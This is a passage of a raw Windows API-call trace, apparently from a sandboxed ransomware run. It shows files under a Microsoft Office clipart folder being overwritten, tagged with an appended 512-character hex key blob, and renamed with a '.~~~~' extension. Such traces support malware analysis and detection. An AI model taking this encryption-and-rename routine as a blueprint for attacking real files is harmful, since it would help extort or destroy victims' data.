	[0113.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835d00
	[0113.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.537] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0113.537] GetLastError () returned 0x0
	[0113.537] GetLastError () returned 0x0
	[0113.537] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0113.537] GetLastError () returned 0x0
	[0113.537] GetLastError () returned 0x0
	[0113.543] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffa0d5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.543] WriteFile (in: hFile=0x140, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x5f2b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x5f2b, lpOverlapped=0x0) returned 1
	[0113.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0113.545] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.545] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.545] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.545] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.546] CloseHandle (hObject=0x140) returned 1
	[0113.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.546] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.~~~~")) returned 1
	[0113.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0113.548] GetLastError () returned 0x0
	[0113.549] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0113.550] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.550] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0113.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0113.550] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23354023534) returned 1
	[0113.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xad489070, dwHighDateTime=0x1d60e1e)) 
	[0113.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0113.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0113.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0113.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839300
	[0113.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839300 | out: hHeap=0x300000) returned 1
	[0113.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835548
	[0113.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.551] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0113.551] GetLastError () returned 0x0
	[0113.552] GetLastError () returned 0x0
	[0113.552] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0113.552] GetLastError () returned 0x0
	[0113.552] GetLastError () returned 0x0
	[0113.665] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.665] WriteFile (in: hFile=0x140, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0113.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0113.667] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.667] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.931] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.932] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.932] CloseHandle (hObject=0x140) returned 1
	[0113.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.942] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.~~~~")) returned 1
	[0114.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.032] GetLastError () returned 0x0
	[0114.033] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29423a0) returned 1
	[0114.034] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.034] CryptReleaseContext (hProv=0x29423a0, dwFlags=0x0) returned 1
	[0114.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.034] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23402395834) returned 1
	[0114.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xad925b10, dwHighDateTime=0x1d60e1e)) 
	[0114.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28397d0
	[0114.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28397d0 | out: hHeap=0x300000) returned 1
	[0114.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0114.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835e30
	[0114.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.035] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.035] GetLastError () returned 0x0
	[0114.035] GetLastError () returned 0x0
	[0114.035] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.035] GetLastError () returned 0x0
	[0114.035] GetLastError () returned 0x0
	[0114.038] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffff8554, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.038] WriteFile (in: hFile=0x148, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x7aac, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x7aac, lpOverlapped=0x0) returned 1
	[0114.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.039] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.039] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.039] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.039] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.040] CloseHandle (hObject=0x148) returned 1
	[0114.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0114.040] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.~~~~")) returned 1
	[0114.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.041] GetLastError () returned 0x0
	[0114.042] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942318) returned 1
	[0114.043] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0114.043] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0114.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.043] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23403367789) returned 1
	[0114.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xad925b10, dwHighDateTime=0x1d60e1e)) 
	[0114.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839808
	[0114.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0114.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839808 | out: hHeap=0x300000) returned 1
	[0114.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0114.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0114.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836aa8
	[0114.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.044] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.045] GetLastError () returned 0x0
	[0114.045] GetLastError () returned 0x0
	[0114.045] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.045] GetLastError () returned 0x0
	[0114.045] GetLastError () returned 0x0
	[0114.048] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffffc2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.048] WriteFile (in: hFile=0x148, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x3d6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x3d6, lpOverlapped=0x0) returned 1
	[0114.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.049] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.049] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.049] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.050] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.050] CloseHandle (hObject=0x148) returned 1
	[0114.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836aa8
	[0114.050] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.~~~~")) returned 1
	[0114.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2836aa8 | out: hHeap=0x300000) returned 1
	[0114.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.051] GetLastError () returned 0x0
	[0114.052] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942318) returned 1
	[0114.054] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0114.054] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0114.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.054] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23404429461) returned 1
	[0114.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xad94bc70, dwHighDateTime=0x1d60e1e)) 
	[0114.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839840
	[0114.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0114.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839840 | out: hHeap=0x300000) returned 1
	[0114.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0114.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0114.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836b40
	[0114.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.055] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.055] GetLastError () returned 0x0
	[0114.056] GetLastError () returned 0x0
	[0114.056] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.056] GetLastError () returned 0x0
	[0114.056] GetLastError () returned 0x0
	[0114.059] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff1f6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.059] WriteFile (in: hFile=0x148, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0xe0a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0xe0a, lpOverlapped=0x0) returned 1
	[0114.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.060] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.060] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.061] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.061] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.061] CloseHandle (hObject=0x148) returned 1
	[0114.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0114.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.~~~~")) returned 1
	[0114.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.062] GetLastError () returned 0x0
	[0114.063] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942318) returned 1
	[0114.065] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0114.065] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0114.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.065] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23405497758) returned 1
	[0114.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xad971dd0, dwHighDateTime=0x1d60e1e)) 
	[0114.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
